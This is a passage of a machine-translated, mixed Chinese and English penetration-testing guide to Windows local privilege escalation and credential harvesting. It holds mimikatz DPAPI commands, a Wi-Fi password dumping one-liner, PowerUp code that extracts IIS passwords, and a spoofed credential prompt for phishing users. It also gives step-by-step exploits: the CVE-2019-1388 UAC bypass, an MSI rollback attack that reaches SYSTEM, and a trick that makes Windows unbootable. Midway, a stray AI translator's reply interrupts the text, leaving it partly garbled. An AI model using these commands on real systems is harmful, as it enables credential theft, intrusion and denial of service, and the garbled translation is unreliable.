加密的用户 RSA 密钥通过 DPAPI 存储在 %APPDATA%\Microsoft\Protect\{SID} 目录中,其中 {SID} 表示用户的 Security IdentifierDPAPI key 与保护用户私钥的主密钥共同位于同一文件中,通常由 64 字节的随机数据组成。(注意:对此目录的访问受到限制,无法通过 CMD 中的 dir 命令列出其内容,但可以通过 PowerShell 列出。)

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

你可以使用 mimikatz module dpapi::masterkey 并带上相应参数 (/pvk/rpc) 来解密它。

受主密码保护的凭证文件通常位于:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

你可以使用 mimikatz module dpapi::cred 和 适当的 /masterkey 来解密。
你可以 extract many DPAPI masterkeys from memory with the sekurlsa::dpapi module (if you are root).

DPAPI - Extracting Passwords

PowerShell Credentials

PowerShell credentials 常被用于 scripting 和自动化任务,作为一种方便地存储加密凭据的方式。凭据使用 DPAPI 进行保护,这通常意味着它们只能由在创建时相同的用户在相同的计算机上解密。

要从包含它的文件中 decrypt 一个 PS credentials,你可以执行:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Saved RDP Connections

你可以在 HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\\ 和 HKCU\Software\Microsoft\Terminal Server Client\Servers\ 中找到它们

最近运行的命令

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

远程桌面凭据管理器

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

使用 Mimikatz dpapi::rdg 模块并提供适当的 /masterkey 来 **解密任何 .rdg 文件\ 你可以使用 **Mimikatz** sekurlsa::dpapi` 模块从内存中 提取许多 DPAPI masterkeys

Sticky Notes

人们经常在 Windows 工作站上使用 StickyNotes 应用来 保存密码 和其他信息,而不知道它其实是一个数据库文件。该文件位于 C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite,始终值得去搜索和检查。

AppCmd.exe

注意,要从 AppCmd.exe 恢复密码,需要具有 Administrator 权限并在 High Integrity 级别下运行。
AppCmd.exe 位于 %systemroot%\system32\inetsrv\ 目录下。
如果该文件存在,则可能已配置了一些 credentials 并且可以被 recovered

此代码摘自 PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

检查 C:\Windows\CCM\SCClient.exe 是否存在 .
安装程序以 run with SYSTEM privileges 运行,许多安装程序易受 DLL Sideloading (Info from https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

文件和注册表 (凭证)

Putty 凭证

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH 主机密钥

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

注册表中的 SSH keys

SSH private keys 可以存储在注册表键 HKCU\Software\OpenSSH\Agent\Keys 中,所以你应该检查那里是否有任何有趣的内容:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

如果你在该路径下找到任何条目,它很可能是一个已保存的 SSH key。它以加密形式存储,但可以使用 https://github.com/ropnop/windows_sshagent_extract.
关于此技术的更多信息见: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

如果 ssh-agent 服务没有运行,且你想让它在启动时自动启动,请执行:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

看起来这个技术不再有效。我尝试创建一些 ssh keys,用 ssh-add 添加它们,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在,procmon 在非对称密钥认证过程中也未检测到使用 dpapi.dll

无人值守文件

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

你也可以使用 metasploit 搜索这些文件: post/windows/gather/enum_unattend

示例内容:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM 备份

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

云凭证

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

搜索名为 SiteList.xml 的文件

Cached GPP 密码

以前有一项功能允许通过 Group Policy Preferences (GPP) 在一组机器上部署自定义本地管理员帐户。然而,这种方法存在严重的安全缺陷。首先,Group Policy Objects (GPOs) 以 XML 文件形式存储在 SYSVOL 中,任何域用户都可以访问这些文件。其次,这些 GPP 中的密码使用公开文档化的默认密钥用 AES256 加密,任何经过身份验证的用户都可以将其解密。这构成了严重风险,因为它可能允许用户获取提升的权限。

为缓解此风险,开发了一个函数,用于扫描本地缓存的包含非空 “cpassword” 字段的 GPP 文件。发现此类文件后,该函数会解密该密码并返回一个自定义的 PowerShell 对象。该对象包含有关 GPP 及其文件位置的详细信息,便于识别和修复此安全漏洞。

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

要解密 cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

使用 crackmapexec 获取密码:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web 配置

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

带有凭据的 web.config 示例:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN 凭据

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

日志

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

请求凭证

你可以随时 要求用户输入他的凭证,甚至其他用户的凭证,如果你认为他可能知道(请注意,直接询问 客户端以获取 凭证 是非常 冒险 的):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

可能包含 credentials 的文件名

已知文件曾在某些时候包含 passwords,以 clear-textBase64 存放

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

我无法直接访问你的文件系统或仓库。请粘贴 src/windows-hardening/windows-local-privilege-escalation/README.md 的内容(或提供要翻译的文本/文件列表),我会按要求将相关英文翻译成中文,并保留原有的 markdown/HTML 语法及不翻译的元素。

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

回收站中的凭证

你也应该检查回收站,查找其中的凭证

恢复多个程序保存的密码,你可以使用:http://www.nirsoft.net/password_recovery_tools.html

注册表中

其他可能包含凭证的注册表键

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

浏览器历史

你应该检查存储 Chrome or Firefox 密码的数据库。
还要检查浏览器的历史记录、书签和收藏夹,因为可能有一些密码存储在那里。

用于从浏览器提取密码的工具:

COM DLL Overwriting

Component Object Model (COM) 是内建于 Windows 操作系统中的一项技术,允许不同语言的软件组件之间进行互相通信。每个 COM 组件都通过 class ID (CLSID) 标识,每个组件通过一个或多个接口暴露功能,这些接口通过 interface IDs (IIDs) 标识。

COM 类和接口分别在注册表的 HKEY\CLASSES\ROOT\CLSIDHKEY\CLASSES\ROOT\Interface 下定义。该注册表是通过合并 HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

基本上,如果你能覆盖将要被执行的任何 DLL,并且该 DLL 会被不同用户执行,你就可能获得提升的权限。

要了解攻击者如何将 COM Hijacking 用作持久化机制,请查看:

COM Hijacking

Generic Password search in files and registry

搜索文件内容

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

按特定文件名搜索文件

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

搜索 registry 以查找 key 名称和 passwords

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

用于搜索 passwords 的工具

MSF-Credentials Plugin 是一个 msf 插件,我创建此插件以 自动执行每个搜索 credentials 的 metasploit POST module 在受害者内部。
Winpeas 自动搜索本页面中提到的所有包含 passwords 的文件。
Lazagne 是另一个很棒的工具,用于从系统中提取 password。

该工具 SessionGopher 会搜索若干保存这些数据为明文的工具中的 sessionsusernamespasswords(PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
阅读此示例以获取有关如何检测和利用此漏洞的更多信息。
阅读这篇更完整的文章,解释如何测试并滥用从具有不同权限级别继承(not only full access)的进程和线程继承的更多 open handlers.

Named Pipe Client Impersonation

共享内存段,通常称为 pipes,使进程能够进行通信和数据传输。

Windows 提供了称为 Named Pipes 的功能,允许不相关的进程共享数据,甚至跨网络。它类似于客户端/服务器架构,角色定义为 named pipe servernamed pipe client

当数据由 client 通过 pipe 发送时,创建该 pipe 的 server 可以在拥有必要 SeImpersonate 权限的情况下 take on the identityclient。识别一个通过你可以模拟的 pipe 进行通信的 privileged process,一旦该进程与您建立的 pipe 交互,你就可以通过采用该进程的身份来 gain higher privileges。关于执行此类攻击的说明,可在 这里这里 找到有用的指南。

此外,下面的工具允许你使用类似 burp 的工具拦截 named pipe 的通信: https://github.com/gabriel-sztejnworcel/pipe-intercept 而这个工具允许列出并查看所有 pipes 以寻找 privescs https://github.com/cyberark/PipeViewer

杂项

File Extensions that could execute stuff in Windows

请参考页面 https://filesec.io/

Monitoring Command Lines for passwords

当以用户身份获得 shell 时,可能会有计划任务或其他正在执行的进程将凭据传递在命令行上。下面的脚本每两秒捕获进程的命令行并将当前状态与先前状态比较,输出任何差异。

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Stealing passwords from processes

From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

如果你可以访问图形界面(通过控制台或 RDP),且启用了 UAC,在某些版本的 Microsoft Windows 中,非特权用户可以以 “NT\AUTHORITY SYSTEM” 身份运行终端或其他任何进程。

这使得可以利用同一漏洞同时提升权限并绕过 UAC。此外,无需安装任何东西,过程中使用的二进制文件由 Microsoft 签名并发行。

受影响的一些系统包括:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

要利用此漏洞,需要执行以下步骤:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

你可以在以下 GitHub 仓库找到所需的所有文件和信息:

https://github.com/jas502n/CVE-2019-1388

从 Administrator 的 Medium 到 High Integrity Level / UAC 绕过

阅读以下内容以了解完整性级别

Integrity Levels

然后阅读以下内容以了解 UAC 和 UAC 绕过:

UAC - User Account Control

从任意文件夹删除/移动/重命名 到 SYSTEM EoP

该技术在这篇博文中有描述,利用代码可在此处获得

该攻击基本上是滥用 Windows Installer 的 rollback 功能,在卸载过程中用恶意文件替换合法文件。为此,攻击者需要创建一个 malicious MSI installer,用于劫持 C:\Config.Msi 文件夹,该文件夹随后会被 Windows Installer 用于在卸载其他 MSI 包时存放 rollback 文件,而这些 rollback 文件会被修改以包含恶意载荷。

该技术总结如下:

  1. Stage 1 – 为劫持做准备(保持 C:\Config.Msi 为空)
  • Step 1: Install the MSI

  • 创建一个 .msi,将一个无害文件(例如 dummy.txt)安装到可写文件夹(TARGETDIR)中。

  • 将安装程序标记为 “UAC Compliant”,以便 非管理员用户 可以运行它。

  • 安装后保持对该文件的 handle 打开。

  • Step 2: Begin Uninstall

  • 卸载相同的 .msi

  • 卸载过程会将文件移动到 C:\Config.Msi 并将其重命名为 .rbf 文件(rollback 备份)。

  • 使用 GetFinalPathNameByHandle 轮询打开的文件 handle,以检测文件何时变为 C:\Config.Msi\<random>.rbf

  • Step 3: Custom Syncing

  • .msi 包含一个 自定义卸载动作 (SyncOnRbfWritten),它:

  • .rbf 被写入时发出信号。

  • 然后在继续卸载前等待另一个事件。

  • Step 4: Block Deletion of .rbf

  • 在收到信号时 以不带 FILE_SHARE_DELETE 的方式打开 .rbf 文件——这会阻止它被删除

  • 然后回传信号以便卸载可以完成。

  • Windows Installer 无法删除该 .rbf,且由于无法删除所有内容,C:\Config.Msi 不会被移除

  • Step 5: Manually Delete .rbf

  • 你(攻击者)手动删除该 .rbf 文件。

  • 现在 C:\Config.Msi 为空,可以被劫持。

此时,触发 SYSTEM 级别的任意文件夹删除漏洞以删除 C:\Config.Msi

  1. Stage 2 – 用恶意脚本替换 rollback 脚本
  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • 你自行重新创建 C:\Config.Msi 文件夹。

  • 设置弱 DACLs(例如 Everyone:F),并使用 WRITE_DAC 保持一个打开的 handle

  • Step 7: Run Another Install

  • 再次安装 .msi,并设置:

  • TARGETDIR:可写位置。

  • ERROROUT:触发强制失败的变量。

  • 此安装将再次触发 rollback,它会读取 .rbs.rbf

  • Step 8: Monitor for .rbs

  • 使用 ReadDirectoryChangesW 监控 C:\Config.Msi,直至出现新的 .rbs

  • 记录其文件名。

  • Step 9: Sync Before Rollback

  • .msi 包含一个 自定义安装动作 (SyncBeforeRollback),它:

  • .rbs 创建时发出事件信号。

  • 然后在继续之前等待。

  • Step 10: Reapply Weak ACL

  • 在收到 .rbs created 事件后:

  • Windows Installer 会重新应用强 ACLsC:\Config.Msi

  • 但由于你仍然持有带有 WRITE_DAC 的 handle,你可以再次重新应用弱 ACLs

ACLs 仅在打开句柄时强制执行,因此你仍然可以写入该文件夹。

  • Step 11: Drop Fake .rbs and .rbf

  • 用一个伪造的 rollback 脚本覆盖 .rbs 文件,该脚本告诉 Windows:

  • 将你的 .rbf 文件(恶意 DLL)恢复到特权位置(例如 C:\Program Files\Common Files\microsoft shared\ink\HID.DLL)。

  • 放置包含恶意 SYSTEM 级载荷 DLL 的伪造 .rbf

  • Step 12: Trigger the Rollback

  • 发出同步事件信号,使安装程序继续。

  • 配置了一个 type 19 自定义动作 (ErrorOut),在已知点故意使安装失败

  • 这会导致开始 rollback

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • 读取你的恶意 .rbs

  • 将你的 .rbf DLL 复制到目标位置。

  • 现在你的恶意 DLL 已位于 SYSTEM 加载的路径

  • Final Step: Execute SYSTEM Code

  • 运行一个受信任的 auto-elevated binary(例如 osk.exe),该程序会加载你劫持的 DLL。

  • Boom:你的代码以 SYSTEM 身份执行。

从任意文件删除/移动/重命名 到 SYSTEM EoP

主要的 MSI rollback 技术(之前描述的)假定你可以删除一个整个文件夹(例如 C:\Config.Msi)。但如果你的漏洞只允许任意文件删除呢?

你可以利用 NTFS internals:每个文件夹都有一个隐藏的备用数据流,称为:

C:\SomeFolder::$INDEX_ALLOCATION

此流存储该文件夹的 索引元数据

因此,如果你删除文件夹的 ::$INDEX_ALLOCATION,NTFS 会从文件系统中移除整个文件夹

你可以使用标准文件删除 API,例如:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

尽管你调用的是 file delete API,但它 删除的是文件夹本身

从 Folder Contents Delete 到 SYSTEM EoP

如果你的 primitive 不允许你删除任意文件/文件夹,但它 确实允许删除攻击者控制的文件夹的contents,怎么办?

  1. Step 1: 设置诱饵文件夹和文件
  • 创建: C:\temp\folder1
  • 在其内部: C:\temp\folder1\file1.txt
  1. Step 2: 在 file1.txt 上放置一个 oplock
  • 当具有特权的进程尝试删除 file1.txt 时,oplock 会 暂停执行
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Step 3: Trigger SYSTEM process (e.g., SilentCleanup)
  • 该进程会扫描文件夹(例如 %TEMP%)并尝试删除其中的内容。
  • 当它到达 file1.txt 时,oplock 触发 并将控制权交给你的 callback。
  1. Step 4: Inside the oplock callback – redirect the deletion
  • Option A: Move file1.txt elsewhere

  • 这会清空 folder1 而不会破坏 oplock。

  • 不要直接删除 file1.txt —— 那样会过早释放 oplock。

  • Option B: Convert folder1 into a junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • 选项 C: 在 \RPC Control 中创建 symlink:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

这针对 NTFS 内部流,该流存储文件夹元数据 — 删除它会删除该文件夹。

  1. 第5步:释放 oplock
  • SYSTEM 进程继续并尝试删除 file1.txt
  • 但现在,由于 junction + symlink,它实际上正在删除:
C:\Config.Msi::$INDEX_ALLOCATION

结果: C:\Config.Msi 被 SYSTEM 删除。

从任意文件夹创建到永久 DoS

利用一个原语(primitive),让你 以 SYSTEM/admin 创建任意文件夹 — 即使 你不能写入文件设置弱权限

创建一个文件夹(不是文件),其名称为一个关键的 Windows 驱动程序,例如:

C:\Windows\System32\cng.sys
  • 此路径通常对应 cng.sys 内核模式驱动程序。
  • 如果你 预先将其创建为文件夹,Windows 在启动时将无法加载实际驱动程序。
  • 然后,Windows 在启动时尝试加载 cng.sys
  • 它看到该文件夹,无法解析实际驱动程序,并且崩溃或停止启动
  • 没有回退机制,并且在没有外部干预(例如修复启动或访问磁盘)的情况下无法恢复

从 High Integrity 到 System

新服务

如果你已经在 High Integrity 进程上运行,通往 SYSTEM 的路径 可以很简单,只需 创建并执行一个新服务

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

当创建 service binary 时,确保它是一个有效的 service,或者二进制能尽快完成必要操作;如果不是有效的 service,它将在 20 秒内被终止。

AlwaysInstallElevated

从一个 High Integrity 进程你可以尝试 启用 AlwaysInstallElevated 注册表项 并使用一个 .msi 包装器 安装 一个 reverse shell。
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

你可以 find the code here.

From SeDebug + SeImpersonate to Full Token privileges

如果你拥有那些 token 权限(很可能会在已经是 High Integrity 的进程中发现),你将能够使用 SeDebug 特权 打开几乎任何进程(非受保护进程),复制该进程的 token,并使用该 token 创建 任意进程
使用此技术通常会 选择任何以 SYSTEM 运行且拥有所有 token 权限的进程是的,你可以找到没有所有 token 权限的 SYSTEM 进程)。
You can find an example of code executing the proposed technique here.

Named Pipes

该技术被 meterpreter 在 getsystem 中用于提权。该技术的步骤是 创建一个 pipe,然后创建/滥用一个 service 向该 pipe 写入。随后,使用 SeImpersonate 特权创建该 pipe 的 server 将能够 模拟 pipe 客户端(即该 service)的 token,从而获得 SYSTEM 权限。
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

如果你能 劫持一个被以 SYSTEM 运行的 process 加载的 dll,你将能够以那些权限执行任意代码。因此 Dll Hijacking 对这类提权也很有用,而且从 high integrity 进程实现起来要容易得多,因为它对用于加载 dll 的文件夹具有 写权限
You can learn more about Dll hijacking here
.**

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

阅读: https://github.com/itm4n/FullPowers

更多帮助

Static impacket binaries

Useful tools

用于查找 Windows 本地提权向量的最佳工具: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – 检查 misconfigurations 和敏感文件(check here)。Detected.
JAWS – 检查一些可能的 misconfigurations 并收集信息(check here)。
